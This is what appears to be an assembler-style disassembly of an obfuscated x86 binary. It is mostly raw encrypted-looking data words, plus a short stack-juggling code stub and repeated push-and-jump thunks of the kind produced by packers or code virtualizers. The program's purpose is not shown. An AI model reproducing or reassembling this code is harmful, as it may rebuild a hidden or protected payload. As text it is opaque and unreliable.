		dd 0BDE90616h, 68FFFB39h, 61616A6h, 0FB39B3E9h,	189868FFh
		dd 0A9E90616h, 68FFFB39h, 616193Eh, 0FB399FE9h,	1A5C68FFh
		dd 95E90616h, 68FFFB39h, 6161B64h, 0FB398BE9h, 33E5FAFFh
		dd 7F398F5Eh, 38EAE3D2h, 90429A6Bh, 26E0F2C3h, 783B0B79h
		dd 0AFBA862h, 75481DD7h, 13E2AF61h, 5B5906C0h, 55DC7B08h
		dd 0DF791DDEh, 46AE8784h, 18B7695Dh, 2C7E276Ah,	5C1D4D0Eh
		dd 0F7464D07h, 74752AE4h, 0BC47B6CEh, 1DD85A26h, 3245B241h
		dd 2311B82Fh, 53A01F73h, 11B82F40h, 0A1B1408Fh,	5B90CAD8h
		dd 0E42062Ah, 0C79B564Dh, 0BE941961h, 4550h, 0C516F100h
		dd 37435226h, 2BC0EE3h,	1A481159h, 8FDC8B62h, 17C84500h
		dd 0FB08A955h, 0D8457270h, 7A19051Dh, 0B844062Dh, 5F1AC911h
		dd 93B91D83h, 37C433BEh, 11B83818h, 6C64513Dh, 3E5F0BB2h
		dd 0E29Eh, 75CE200h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh
		dd 0C39D6A37h, 0B517C849h, 44B7ECA6h, 16EBA5B5h, 0D7830AC4h
		dd 621C2F96h, 34E6DE8Bh, 13C0E18Dh, 9F88CB2h, 2AB657Ch
		dd 0CA037201h, 42705718h, 0D51DD84Eh, 0C89C4E88h, 5428169Bh
		dd 0E990125Dh, 77617CAh, 0A96377D2h, 0A9287C2Ah, 788AAD5Ah
		dd 0DBCB0BA5h, 9E4EE687h, 0F6B0A24Fh, 1C8F0C07h, 6B0BCB58h
		dd 0D548E794h, 610D0BA5h, 42986540h, 35443288h,	6968E216h
		dd 98FD3h, 0EB9DB200h, 571147B6h, 0F0A2BB0Ah, 48FA52A3h
		dd 0FEB8AA1Bh, 9013E351h, 0E2D3803Ah, 8D6035EFh, 0EBDA8739h
		dd 93113EF8h, 56A4B340h, 17B11DDEh, 0A9065C63h,	644F015Ch
		dd 17C844D5h, 93C09480h, 0AF683122h, 712B1E6Bh,	39A13016h
		dd 0C8F9ABCEh, 0A6FAAA17h, 48FDA5FAh, 0DC8B621Ah, 0C845008Fh
		dd 0F897E417h, 5D17C844h, 3122B3B1h, 81822B77h,	0D845F4F6h
		dd 0EC93831Dh, 41FB4E9Bh, 4484A720h, 944B11B8h,	0B7A309D9h
		dd 0C392BE93h, 0D6000000h, 3B5EA95Ah, 1A17C845h, 8FC4416Ah
		dd 6B5FAED5h, 99B342B1h, 24D783D8h, 0C195F1F9h,	484B14C2h
		dd 0C87725FBh, 46005317h, 0FDB7AC19h, 89F685D6h, 17C86DE6h
		dd 0D3DE7F6Fh, 59A8176Fh, 7E2C5305h, 5799E6DDh,	0C01DD87Ch
		dd 341A7FD4h, 83166150h, 0D217CB15h, 0F483F07Fh, 610BA5AAh
		dd 0AB2F42B5h, 9FB70BA5h, 0CB9787EDh, 87F483F4h, 0BA5AAE8h
		dd 0E5E0816Dh, 97663BF5h, 2F338943h, 73E2165Fh,	87A58F0h
		dd 0AA9D0000h, 65AABF8h, 0AFA6174Ch, 0FF55A8FDh, 0B5A5184Dh
		dd 0EED6A6FBh, 287D372Bh, 95CA84D5h, 277C2E28h,	96CB85D6h
		dd 1938C316h, 3C1DDE58h, 65CF6A2h, 0B5A6174Ch, 450025Ah
		dd 75C034Fh, 0E4F7464Dh, 0CD89301Bh, 0F6AA1142h, 531A48A9h
		dd 93CB0CC0h, 5C71A6E1h, 0D7A491Dh, 1DD92EA3h, 0C597824h
		dd 75481DD7h, 0AA669D66h, 0F5F511FFh, 430FC900h, 0D17DEF3Ch
		dd 207398FEh, 0C3CA7CD1h, 944D5617h, 6B38F2E1h,	15927B98h
		dd 697FCD6Bh, 0BF84462Eh, 6E2FE9DFh, 0FAE94497h, 226D1440h
		dd 8A727A0Ch, 0D68F2AB9h, 80322A85h, 54015501h,	49B87261h
		dd 5E184BBAh, 3140B35Fh, 248A727Ah, 4B9C3778h, 7A404F9Ch
		dd 69158A72h, 79A9BF48h, 0DAC98A72h, 0BB75661Fh, 0A73F4744h
		dd 1581B180h, 0B7AC194Ch, 0A7506FDh, 8A72A267h,	0CA43FEEEh
		dd 0F28413B9h, 0F1547F20h, 3DCA394Dh, 90832F63h, 0F8CB9884h
		dd 0A5BD181Bh, 0FCA5D909h, 0BE3549F5h, 1E31BE2Dh, 37846247h
		dd 93A12647h, 0CC8A7268h, 73B6D120h, 2BBDCCD9h,	0EC3B5819h
		dd 4461F07Bh, 8F47E52h,	43CE6067h, 4C037E52h, 1525E291h
		dd 2B41001h, 9574CF7Bh,	0B23071C9h, 51FAA72Ch, 45C1Dh
		dd 0AB5A6500h, 28D6FDB7h, 44F18087h, 54F717C8h,	8C17C855h
		dd 17C838D1h, 0C8314CDFh, 0ACD07E17h, 4F84AA55h, 3ACB1DD8h
		dd 0C17BCF22h, 144014C2h, 3F8A496h, 0DB71F0DCh,	6ECh, 5906B80Fh
		dd 0E5BA746Ch, 560BBD18h, 0E6BB6D67h, 5C09C317h, 459518E8h
		dd 0F2E7D68Bh, 449A6B38h, 0DBF0BD92h, 0E1707421h, 0DE5A0396h
		dd 4F4521Dh, 464D075Ch,	41F87FE3h, 47D92649h, 25D22175h
		dd 1DDEADFBh, 8D13402Ch, 1468D63Dh, 0AB9F4E9Dh,	1957B0F1h
		dd 8D17C2B0h, 8B32E4E0h, 0C6B6BEDFh, 0A463338Eh, 41EDBB03h
		dd 8B39C63Dh, 0B462513Bh, 287C2E27h, 621A48A9h,	398DDC8Bh
		dd 115A0887h, 4156D1B6h, 0BD34E05Ch, 0E1AEC12Eh, 56A75020h
		dd 97434A04h, 2CDEF6CBh, 4BB8F9A5h, 9EF3AD9Eh, 6442FC4Fh
		dd 9D9B28A0h, 3D37CDCCh, 60000006h, 0DE0B567h, 615401BBh
		dd 18E5BA6Ch, 68550ABCh, 99EBB872h, 3AF4E6A9h, 87419865h
		dd 41F3EBDAh, 0F8B2A114h, 4DBA49ABh, 1DDE5A2Ah,	5ADDCD2Bh
		dd 57D10E3Dh, 446DE3C9h, 6FD81ADh, 0D88A0F79h, 0C5CCB81Dh
		dd 5AA96378h, 365F7F3Dh, 0B6646B25h, 0FCDBE3DBh, 180BC0B2h
		dd 0FFA0F4A2h, 4BE655D4h, 4DA4D886h, 0C8DBC8A2h, 420FFF17h
		dd 0A898DE75h, 996F020Bh, 0FF630BA8h, 8C5B3887h, 0D41219BAh
		dd 9DEAD982h, 11BE5DE3h, 1C695844h, 444F10C2h, 923C5BF7h
		dd 3BFF9305h, 0EEDD0592h, 0CEA0B634h, 0E5E4E829h, 5934Fh
		dd 0EFA1B600h, 43FD53A2h, 0F4A69F0Eh, 44F64E9Fh, 0F2AC9E0Fh
		dd 24E7CF9Dh, 0CE1F742Eh, 2194C17Bh, 0D7267B2Dh, 1795CA84h
		dd 5B1837C4h, 0A33D1DDEh, 621A48F7h, 563AE08Bh,	0ED7C1DDEh
		dd 0FA7A23DDh, 2536830Ah, 0DFDE98CAh, 5F38D624h, 0E6BA7C2Ah
		dd 3F13C519h, 0CBAE8F12h, 0F37F8406h, 80FF5358h, 99682231h
		dd 723BF5ECh, 0D791C233h, 0ED4899E8h, 0EE9C23DDh, 7CCE1BA2h
		dd 430FBBC2h, 372C791Ah, 6DEC567Dh, 6072FFB4h, 0CB0005A6h
		dd 0A651A211h, 11B19093h, 0DC89D2C2h, 9A6B60C6h, 1AB51BEh
		dd 48990000h, 0E08B621Ah, 1DD8469Ah, 12C4004Dh,	0D1026F3Eh
		dd 0EE3D5617h, 445FF27Dh, 6F611B8h, 0D0EFA9B9h,	0E98E7922h
		dd 0DE11B843h, 77DBA63Fh, 0A24FA00Fh, 20CEF5AFh, 4532887Fh
		dd 26B517C8h, 0A842B6D9h, 0A3EF9F0Bh, 5470FDEEh, 42FC4DA2h
		dd 5CB7AC19h, 832F4E00h, 42B0BF2Ch, 0F9A50BA8h,	84D726ADh
		dd 0AA1B5DBBh, 3F137383h, 0A552A112h, 0BA7DB92h, 6A1C32C3h
		dd 0C2EBB763h, 847B032Fh, 0B7F1E1F7h, 88F38611h, 597C6E9h
		dd 0ADD4806Ch, 97C6CB62h, 926D0405h, 80E6A251h,	60832C98h
		dd 125D0EC5h, 597897Fh,	5D8526D6h, 0CAB46FF7h, 53E6h, 0EFE69300h
		dd 1247963Dh, 0D98D3958h, 1A48D298h, 0E2E08B62h, 951DD845h
		dd 0F69DEAE9h, 0E811B844h, 4A9938F2h, 0B8449ABDh, 0F6CBBB11h
		dd 0D48F2EE0h, 864BD632h, 4C430EB4h, 0B2218591h, 9DAD3CF7h
		dd 6D2EDCE3h, 9354EF75h, 98DEBEh, 0EE7B0000h, 258526D8h
		dd 464D075Ch, 0AA29E3F7h, 2F4E085Bh, 864091E0h,	0B3125B07h
		dd 4AB9E6A0h, 53490A4Dh, 5A039FEBh, 0C849936Dh,	3CF6E517h
		dd 0A8DC8267h, 0F509AE59h, 5C481DDAh, 67C21865h, 0B6EBB771h
		dd 63591347h, 0DC068087h, 0A130C8CBh, 0C4000003h, 398CD98Bh
		dd 0C5386D27h, 44B1DE90h, 0BC095608h, 0C5B7ECA6h, 6E283AFDh
		dd 0C37DD421h, 75271F8Eh, 0C47ECD20h, 31BE0D8Fh, 1DDE5D1Eh
		dd 5AF19937h, 0D6FDB7ABh, 6041DF19h, 4115D1F1h,	0FBB5A520h
		dd 4A0457A6h, 75C4D15h,	0E4F7464Dh, 0F786752Ah,	7CD82DDFh
		dd 5617C3CAh, 823D5A14h, 20A2DB71h, 68BDDC27h, 0EC9817C8h
		dd 7D10F7B8h, 6317C8E9h, 17C7E8D0h, 0C13054FAh,	47681A34h
		dd 0FA092FBCh, 6E1E1DDDh, 2D03004Fh, 0CB14AA3Fh, 54FAF7B8h
		dd 0D436C130h, 0E317C184h, 0E5CFB533h, 78FBE21Ah, 2FBE0h
		dd 77291E00h, 0CB85DB2Ah, 7C2E2796h, 0CC7ED627h, 7A342697h
		dd 0AC6F5725h, 56A7FCB6h, 0A91C4903h, 5F4E03B5h, 0FFDDB26Ch
		dd 5E70FF6Ch, 8BE51DDEh, 0EB3D5A9Fh, 7E583401h,	0C91AEBB4h
		dd 3221700Fh, 98C62B78h, 58620DE4h, 0F1DD8FCh, 94DF905Fh
		dd 11B8D105h, 0D8FBA450h, 0B8D0E88Bh, 0BD78E711h, 93277FE5h
		dd 2A6EBEh, 48B20000h, 0E08B621Ah, 1DD845E2h, 928D324h
		dd 4C11B845h, 8975FFA0h, 4496BD0Ah, 8A3911B8h, 0B78D13EFh
		dd 0D87CBE93h, 0C4000000h, 0B0AC075Ch, 0CFF30EEFh, 376BE0FBh
		dd 56AFDB98h, 33CBC3B8h, 3D8C335Fh, 0DD2C530Dh,	408D34EEh
		dd 1162510Bh, 0C89BD366h, 0C9928217h, 0A0D52B9Ch, 0B0A317C8h
		dd 75CA9F6h, 7FE3464Dh,	14BB7566h, 38C33A66h, 1DD8AA42h
		dd 9C31865h, 0DB88DC8Ah, 70CB2BE8h, 0E4374854h,	740836BBh
		dd 0A8D7F27Dh, 6EFD17CBh, 0A6386E01h, 7637E70Bh, 529F0EFEh
		dd 0AA194600h, 0FAC1EDEDh, 1F4054ECh, 0FCFAB4A6h, 0E215FC10h
		dd 0DDA73D3Ch, 1, 6D4015C7h, 1F4A15Bh, 78451ACCh, 8F5AA5Ch
		dd 0F94B18D2h, 9A548609h, 27E1F8C5h, 0A1538B7Ah, 18D201F4h
		dd 6D1A694Bh, 1DDE5ECAh, 5C3DED8Bh, 0A6174C06h,	0B0035AB5h
		dd 10AFE395h, 8AD690C1h, 44A9C833h, 0C0AC17C8h,	5A93BF94h
		dd 80FFB1ABh, 3A2889D2h, 2006B42h, 41DD846h, 45690873h
		dd 0EC11B8h, 0AA29D55Fh, 0B845365Dh, 8F2A9911h,	93B82DB3h
		dd 0E11CBEh, 30BD0000h,	0AF5B6214h, 18590B42h, 4D075C52h
		dd 29E3F746h, 3AE5BDDAh, 0A4DF99B0h, 5A03356Bh,	0F314EE39h
		dd 6F6417C8h, 0BE0DE0B5h, 361C7D04h, 0F3105F4Eh, 0EEE4FC29h
		dd 0A6E18D34h, 0EEAF2817h, 0D90B9F19h, 637B081Dh, 4E02B410h
		dd 0E585145Fh, 24D011B8h, 21D02370h, 0BB367731h, 43FD4E97h
		dd 0EBC28E3Ch, 0CB9A0A80h, 22917D17h, 301326D1h, 0B1420BA6h
		dd 0F0B1E59Fh, 19746613h, 0D420EC8h, 0FAF0AAA0h, 0E215DA0Ch
		dd 0D5BB5150h, 0F8000000h, 85782DDFh, 0F9CC9953h, 905D32E4h
		dd 0E0CD8234h, 116330EAh, 0B26C5E21h, 0FFB910DDh, 0B96B6352h
		dd 10CA19ECh, 65126143h, 1DDE5FD2h, 5A35E583h, 453B5EA9h
		dd 0B1AB17C8h, 6E6621FFh, 0D098E73Ch, 0BE47683Ch, 307DD28Ch
		dd 9F65521Bh, 522DE27Ah, 5C0951FEh, 5FB2AC07h, 0DEE5B16Bh
		dd 105D6430h, 4D5401BBh, 8AE5FCE1h, 731F9E58h, 0EF7C731Fh
		dd 1DDE5645h, 56A32ADAh, 0A7164B05h, 8DAC57B4h,	0C811B233h
		dd 0BA0988DCh, 18878FDDh, 2453ED1h, 1E46D3F1h, 0C2456673h
		dd 1B2A4688h, 0E8DE8BE0h, 0B36E7536h, 4A17D102h, 0FAE687Bh
		dd 0B9D88AC2h, 29DC950Eh, 0FF92DD3Ah, 560839A0h, 803FAA6h
		dd 92D2458h, 0A9FCA5A4h, 464D075Ch, 3AEh, 0BFEBF200h, 3251035Ch
		dd 9736F0E3h, 5B62144Ah, 8201BB0Eh, 5E651F33h, 8201BB0Fh
		dd 68671933h, 6B12C419h, 51702A1Eh, 0E1895194h,	4C181h
		dd 0E9830000h, 240C8704h, 2404895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	6C38h
		mov	[esp], edx
		push	35ECh
		mov	[esp], esi
		mov	esi, 6161162h
		mov	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		sub	dword ptr [esp], 2E8967E5h
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 2E8967E5h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		db 82h
		dd 0E691DC40h, 0B8802570h, 6161C5Eh, 0E0FFC503h, 23299410h
		dd 5891523Bh, 1BE2F7FDh, 7B032D3Dh, 4314494h, 406ACDB8h
		dd 484BCEAFh, 58A46F89h, 6E891024h, 21C46643h, 0EE2604h
		dd 56C61BDEh, 56CE9B88h, 5879C514h, 0AE8h, 0D23B0F00h
		dd 417A36Ah, 0E9F3B9B2h, 0Dh, 4F764AD0h, 925D145Ah, 0BD3C6A25h
		dd 0CF815A2Fh, 55D6B721h, 70E2C281h, 8B660000h,	68DAh
		dd 81660000h, 595276EBh, 8E8h, 520F8600h, 978CD528h, 5BDDB314h
		dd 660A048Bh, 0E880D381h, 0ABA8F081h, 8D0F384Bh, 6, 0B123B660h
		dd 0C0816171h, 3F80C2F3h, 9EACF081h, 50FC4523h,	0AE9FD681h
		dd 48F0D01h, 0C8B0F0Ah,	0E9000000h, 7, 0B0DCD18Bh, 0FC374A2h
		dd 382h, 51C38000h, 6604E983h, 814DA8BEh, 0FF8FF4F9h, 0C850FFFh
		dd 0E9000000h, 2Fh, 281C1BDCh, 0E90D440Fh, 13h,	45C7AE78h
		dd 6A184759h, 20D698B1h, 2AD55634h, 0E9A0ED95h,	0FFFFFF78h
		dd 0DF3B7A58h, 92AEDDA1h, 0E97599D8h, 0B9h, 3E99A39Ch
		dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
		dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
		dd 162AE900h, 0B4680000h, 0E9061620h, 0FFFA6194h, 1621C868h
		dd 618AE906h, 0BD68FFFAh, 0E9061622h, 0FFFA6180h, 16247368h
		dd 6176E906h, 0F268FFFAh, 0E9061624h, 0FFFA616Ch, 1625D568h
		dd 6162E906h, 8C68FFFAh, 0E9061626h, 0FFFA6158h, 16278D68h
		dd 614EE906h, 2468FFFAh, 0E9061628h, 0FFFA6144h, 16296168h
		dd 613AE906h, 5C68FFFAh, 0E906162Ah, 0FFFA6130h, 162BE768h
		dd 6126E906h, 0A868FFFAh, 0E906162Ch, 0FFFA611Ch, 162E4968h
		dd 6112E906h, 8468FFFAh, 0E906162Fh, 0FFFA6108h, 16313568h
		dd 60FEE906h, 3268FFFAh, 0E9061632h, 0FFFA60F4h, 62D619B9h
		dd 42F62DD3h, 59D50EB3h, 3CF02DE2h, 10CC0BBDh, 0C87CEE1Ah
		dd 0A346D589h, 0BB6FE662h, 964DCC80h, 0FE02ED61h, 0DA63B70Bh
		dd 0CA524F6Bh, 2A447932h, 39B9F9AFh, 0AFC01AC0h, 0EFAFCCA8h
		dd 0A85F2FD8h, 0D60BB473h, 0D2E13EFAh, 1734F709h, 0EF67FCE2h
		dd 6ED87F73h, 8D943CA2h, 579A5FF6h, 37397A4Ch, 42h, 1EBD5C95h
		dd 2A7324Ch, 8459DDC9h,	0FC7CAA87h, 0DEF06C67h,	972BDE00h
		dd 6F942383h, 83BE04F3h, 0DA569423h, 0EC5A01FDh, 0F942383h
		dd 5C4C3C31h, 0E87A7807h, 54913013h, 397B4379h,	0E659h
		dd 4D7B300h, 0F36F235Eh, 71A65DD6h, 23620685h, 28E3FD6Fh
		dd 6DCC7C9Ah, 12C99E7Ah, 59702459h, 0AC17DB2h, 6DCC0182h
		dd 0BD8FC47Bh, 390E47FEh, 0F4DF685h, 3005014Eh,	64103440h
		dd 8D35F40Ah, 6992332Eh, 868DF00Dh, 2DD914BAh, 0A1DC9249h
		dd 7B5571F5h, 3589390h,	0E49C3398h, 597DF9ADh, 0E1D2FBE5h
		dd 0F2CB72CDh, 8E25B895h, 0CEC2FBB2h, 0DD5C6E52h, 4DCF126h
		dd 1591AC05h, 0DCEE6A9Eh, 0F06CAB5Dh, 0E388C769h, 4034F85Ah
		dd 91697A2Ah, 7E000013h, 46D589CCh, 64F3679Eh, 51C884BDh
		dd 6EED619Eh, 0C9BF7BBAh, 5E9D4FBDh, 79BA6BEAh,	559036C5h
		dd 74A962D9h, 40EBD5B8h, 6BDA5C82h, 0D7BF8562h,	3B1B2496h
		dd 2F41371Bh, 0CCC3C67Ch, 25421E6Dh, 0FFBBFAAEh, 1E9ACF78h
		dd 0DB67223Ch, 3B6DCCC3h, 5C420ADFh, 5D4C1EBDh,	67FC7C74h
		dd 847E970h, 5433181Ch,	52B20364h, 51CDCDAAh, 0C1A2CBA5h
		dd 0B7889217h, 0AF63A445h, 75188FB3h, 7E44034h,	3C74A21Ch
		dd 93324194h, 7B2D7B56h, 0E25B39h, 32B10000h, 542A4479h
		dd 0CC7CED55h, 502D096Dh, 702DC4Eh, 6DCC7CBBh, 0BFB3EE94h
		dd 9AAFAB63h, 71276F21h, 2981E6D3h, 4413FFE3h, 6DCC60C4h
		dd 0E5598E35h, 8C78AD56h, 0BA32A037h, 5FA49944h, 0DFCAA4C0h
		dd 67FCBBC2h, 6FD488E4h, 348E7D68h, 0D0943CDFh,	6D5E7054h
		dd 0A85F7266h, 0B6A37F73h, 0C077F5E5h, 0C8B0CD0Ch, 0AD161E1h
		dd 0D7A9859Eh, 0AD216004h, 8E3B7A2Eh, 40353E87h, 7D2ABB6Bh
		dd 6A000012h, 52C985C8h, 70E7639Ah, 4DCC80B9h, 5AE15D9Ah
		dd 0C5C377B6h, 5A994BB9h, 75B657DEh, 518C42B9h,	70A55EDDh
		dd 3CEFD1BCh, 6BDA5D86h, 0D7BB815Eh, 7C4002A9h,	87826DCCh
		dd 6DCC7C3Bh, 938F7FDBh, 714BFDB6h, 0EB5F83BCh,	863CEF11h
		dd 5E6DCC7Ch, 0B56EE502h, 0F9F2CC80h, 0BDE1787Eh, 0FAD2A7D0h
		dd 265B04D7h, 5AE1F67Ah, 11887CB1h, 32A9255Ah, 374E427Bh
		dd 0FDDF5B90h, 0A843893Eh, 0B79BB75Fh, 7DF9ADC9h, 0E7F0B660h
		dd 6AF10BD0h, 0AB5383C1h, 0D8098C00h, 0DC9108FCh, 0D6AABFA3h
		dd 0FC114ED3h, 490C6867h, 0B22025A2h, 4695248Ch, 0D98C7534h
		dd 536A6599h, 47B6CAEh,	0CC750D8h, 1C383CE8h, 99D27742h
		dd 1CD289EDh, 201A0CE1h, 671DF799h, 4601430h, 5C7F96E7h
		dd 0A1A18782h, 5619BAEh, 82B770EBh, 63984FC6h, 0A90F61F6h
		dd 6C7D2945h, 1188h, 1692D575h,	0F6B2E99Fh, 1D91CA7Fh
		dd 30ACE99Eh, 14C807A9h, 0D478EA16h, 0EFA21995h, 0C77BFAAEh
		dd 0A249D08Ch, 2FEF16Dh, 0DA5EBB07h, 0B67E5B6Bh, 50447932h
		dd 75875463h, 0CB6758Bh, 0E86DCC7Ch, 0DFB46F8Ch, 0B767FC1Eh
		dd 13A2FFBBh, 16F3B6C8h, 0CE9E13DCh, 3D1A590Bh,	4C0FE13Dh
		dd 0C8AC5899h, 70245B11h, 8027D7F4h, 9E13A4C6h,	8D79B257h
		dd 7420550Eh, 0DFED8417h, 3E67D36h, 3F8B5DAAh, 9E8Ah, 0A9D70000h
		dd 0CC7C4002h, 11C8A46Dh, 0BA4B205Fh, 2BAEC01Bh, 52493D76h
		dd 0AFB35F9Eh, 0BCA2B693h, 6DC5E68Fh, 304DD01Bh, 0FC824E73h
		dd 10B38667h, 673A1FD3h, 9B4FF81Eh, 0E14E90Dh, 0EA96D577h
		dd 2EEB257Dh, 0B195E8D3h, 4A00BB95h, 0FAC19B0Fh, 8DC87E54h
		dd 2B99D99h, 513A0F4Eh,	94231EF3h, 8CC16AF1h, 0FD3BE46Fh
		dd 3250F907h, 0D3772E62h, 6C88EC98h, 0EFC569F0h, 3DECFE3Dh
		dd 94239E85h, 35E10561h, 6C01123Bh, 4FBC7252h, 6784609Bh
		dd 106FFAh, 3DC50600h, 7D201646h, 5CA12B40h, 5D4C1EBDh
		dd 67F61A21h, 2769209Bh, 4801F05Ah, 44301482h, 1B170BE0h
		dd 9CD17A41h, 0C7F29920h, 66154CF4h, 9425B7DCh,	46183C38h
		dd 0DE92D173h, 0E320C382h, 0CAB1806h, 0A50EFDCFh, 619E1FD1h
		dd 0B770EB05h, 65F4C682h, 53087DC1h, 0EE567653h, 853EF5D2h
		dd 0A313AF5Ah, 0DAD19E1Fh, 9E1FA368h, 8EE0908Ch, 1FA3279Bh
		dd 7F63BF9Eh, 0FEBDAF63h, 3AF10B4Ah, 9E1FA388h,	8ADBF06Ch
		dd 0AB5E706Bh, 942FDA9Ah, 0C4630864h, 0C85E2B40h, 0FD2CBDCh
		dd 0FBF0000h, 0E38910CCh, 4A930ACh, 0E3880FCBh,	1A332A6h
		dd 0E42006C2h, 1793D276h, 30ACEDA0h, 0ECA05A9h,	2FABE087h
		dd 0F949403Ch, 1D6BDA58h, 4402F4C0h, 7E6DCC7Ch,	0D9CD06BBh
		dd 0EFD30AC2h, 6F6C8BDAh, 1A7DAE5Dh, 2D0967F6h,	0FDF8853h
		dd 8844205Bh, 0E28A5A11h, 9D4CF6B5h, 0CCA89425h, 0EBD8CCA8h
		dd 4E3D0FCCh, 9E15FF25h, 0C45FCBFh, 3B3F1C18h
		dd 2A997ADFh, 0EDB94031h, 0F53FCh, 4B8E4000h, 2960088Fh
		dd 467F26B5h, 23600392h, 3D7C30A7h, 0D7F8B81h, 19A01C5Bh
		dd 0F4833778h, 2097134Eh, 93763267h, 584002A9h,	47A46BDAh
		dd 3B79327Dh, 9102CB55h, 530CCB49h, 374E421Eh, 0CC0DC090h
		dd 0ABCDFCA8h, 25427730h, 60DBFF96h, 0A55A6FAAh, 336A584Ch
		dd 7517A2BCh, 3FE64A36h, 6DCCB683h, 0A81A1163h,	4C6DCCB6h
		dd 71D7F4D0h, 971h, 1EBD5CDBh, 5D78D4Ch, 2A3F2364h, 1A955356h
		dd 0E20B67F6h, 30D6C6F7h, 382501F5h, 36137255h,	4316E844h
		dd 64F3679Ch, 777486BBh, 608A92D5h, 33F30878h, 257FDA64h
		dd 547E9594h, 0BA85FDDAh, 337013DBh, 0E3FFE33Fh, 8E34F709h
		dd 6694251Ah, 4AD70901h, 0E80CB254h, 553EED13h,	319E15FCh
		dd 96BAF39Ah, 312A5A31h, 0D5BED640h, 0E70h, 0EE6AAD5Dh
		dd 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h, 9C5082FEh
		dd 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h, 0DA59833Fh
		dd 0BE86636Bh, 50447932h, 0A95D9239h, 0DC6D5E22h, 89537715h
		dd 0C8673C11h, 6A36E42Dh, 8B3C433h, 2060000h, 6DCC7C44h
		dd 15E7F403h, 0F61A1616h, 98B2AE67h, 97F4AB3h, 88650BFBh
		dd 0E9708E70h, 1C180C43h, 2559D56Dh, 18353194h,	6B14E49Bh
		dd 0BC9E1A36h, 0AE07A98Fh, 0D3A441BBh, 1FA580A1h, 0DECD9FC3h
		dd 9425ED64h, 0CC7A480h, 7D721E53h, 0A08B6576h,	9E158FF3h
		dd 0C45FC93h, 93381C18h, 4031FBF6h, 0B97D663Eh,	0A600000Dh
		dd 8E0DC104h, 0AC2B9FD6h, 7900BCF5h, 962599D6h,	11F7B3F2h
		dd 0A6E587F5h, 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h
		dd 6BDA5ACAh, 32E7AD2Ah, 412A4479h, 0EF3A6Ch, 3BF6A37h
		dd 0E36DCC06h, 908E6B87h, 691D52F9h, 9084B972h,	6D1956F9h
		dd 0C8F48B30h, 0C623C201h, 336AAFEBh, 7E8CBh, 4D74100h
		dd 0F26E225Fh, 0CF7188D5h, 65A64719h, 0E591B5B1h, 18F05C81h
		dd 5D58076Bh, 99A46779h, 7167F6BAh, 3605DBF5h, 8584568Fh
		dd 9426FD3Dh, 0B3805DD9h, 0C805D70Ch, 688352D0h, 0A749000Ch
		dd 0A3B8BC68h, 411F411Bh, 2601F84Ah, 59401C94h,	942601E9h
		dd 18240EBh, 6629426h, 0E89B1A16h, 5E7BF7ABh, 0DF92ED5h
		dd 2601E05Eh, 0C6F1DA94h, 2665079Dh, 0FC5D7641h, 26F3B50Dh
		dd 0F1D55194h, 7B6A89DCh, 26F33290h, 7A56D294h,	91C8A960h
		dd 52CE9E16h, 32F922E5h, 0D968E40h, 0CB8h, 6C205A5h, 26A2D98Fh
		dd 0DC1FAAFh, 209CD98Eh, 4B8F799h, 0E488FA06h, 0FFB229A5h
		dd 0D78B0ABEh, 0F299209Ch, 320E01BDh, 0DA5BCB77h, 0E6AE2B6Bh
		dd 50447932h, 0BC29239h, 71B253D2h, 0A91AA155h,	2A1EEF0Ah
		dd 0FEFE336Bh, 4C000006h, 0CC7C4102h, 0EAF1086Dh, 1A011910h
		dd 0C9A567F6h, 5A12C9B7h, 0D6F36F23h, 0BD71A65Dh, 78B158E3h
		dd 5F2FD863h, 15B86FACh, 204420D4h, 63787F74h, 3EE47789h
		dd 36130F03h, 15E30C4Dh, 0F95EBA9Eh, 40314820h,	21138490h
		dd 0E00000Ch, 16A5195Ch, 0F483376Eh, 2198144Dh,	0FE7D316Eh
		dd 594F0B4Ah, 0CE0DBF2Dh, 0E92ADB5Ah, 540E675h,	0E419D249h
		dd 907B8568h, 6BDA5432h, 324FD5D2h, 39504479h, 4A835D92h
		dd 0D7239B34h, 0AE708D32h, 0A2BCAD9h, 0EDB02C61h, 336AF224h
		dd 0E522C594h, 0B0183531h, 159h, 4479321Ah, 0BFFCAF2Ah
		dd 8C7A4FD3h, 0F105B9B2h, 153E5356h, 8FC47B38h,	0AC2FC61Bh
		dd 7B2DACD2h, 8CCB7D3Ch, 0C4BF9C98h, 67FC99E7h,	84F431Fh
		dd 943C0EBEh, 6A8F265Dh, 397AB7A7h, 0D480D617h,	58B608D7h
		dd 2ACD83h, 5C3F0000h, 5D4C1EBDh, 67FC7C74h, 0BBEA9692h
		dd 943C7C03h, 0B732D1E2h, 397B35F6h, 0F42FD366h, 0D871D7h
		dd 0CC8F0000h, 27FDDA17h, 50447932h, 86589739h,	0F5D211B3h
		dd 0A4D99209h, 0FD32D9F0h, 28328A41h, 540B6DCCh, 0BF56AB1Fh
		dd 9D1C421Ch, 42D9A7E7h, 0B252B27Eh, 0F2D2B98Eh, 0F0980515h
